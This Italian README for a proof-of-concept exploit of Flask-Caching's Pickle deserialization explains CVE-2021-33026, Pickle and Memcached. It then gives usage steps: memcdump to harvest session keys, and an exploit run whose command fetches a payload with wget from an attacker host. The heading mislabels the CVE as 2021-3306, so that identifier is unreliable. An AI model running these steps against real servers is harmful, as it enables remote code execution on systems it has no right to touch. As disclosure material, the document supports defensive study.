
Esecuzione di codice in remoto tramite serializzazione Pickle - Avvelenamento di Memcached
Esecuzione di codice remoto tramite serializzazione Pickle - Exploit PoC per avvelenamento Memcached
Cos'è CVE-2021-3306?
L'estensione Flask-Caching fino alla versione 1.10.1 per Flask utilizza Pickle per la serializzazione, il che può portare all'esecuzione di codice remoto o all'escalation dei privilegi locali. Se un attaccante ottiene l'accesso allo storage della cache (ad esempio filesystem, Memcached, Redis, ecc.), può costruire un payload appositamente creato, avvelenare la cache ed eseguire codice Python.
Qual è la funzione della libreria Pickle?
Pickle in Python è principalmente utilizzato per serializzare e deserializzare una struttura di oggetti Python. In altre parole, è il processo di conversione di un oggetto Python in un flusso di byte per archiviarlo in un file/database, mantenere lo stato del programma tra sessioni o trasportare dati sulla rete.
Cos'è Memcached?
Memcached è un sistema di caching distribuito in memoria di uso generale. Viene spesso utilizzato per velocizzare siti web dinamici basati su database, memorizzando dati e oggetti nella RAM per ridurre il numero di volte in cui una fonte dati esterna deve essere letta.
[!] Sfruttamento:
1. Affinché l'exploit funzioni è necessario fornire un cookie di sessione, perché? In questa prova di concetto abbiamo un caso in cui il cookie di sessione di un'applicazione Flask vulnerabile viene gestito o archiviato dal servizio memcached:
memcdump --servers=target_machine_ip_address

2. Utilizzo dell'exploit:
-h --> help menu
--cmd --> Comando da eseguire sulla macchina target
--rhost --> Indirizzo IP della macchina target
--rport --> Porta della macchina target
--cookie --> IL TUO COOKIE DI SESSIONE ATTUALE dall'applicazione FLASK VULNERABILE. Esempio: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. Esecuzione dell'exploit:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

Riferimenti:
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/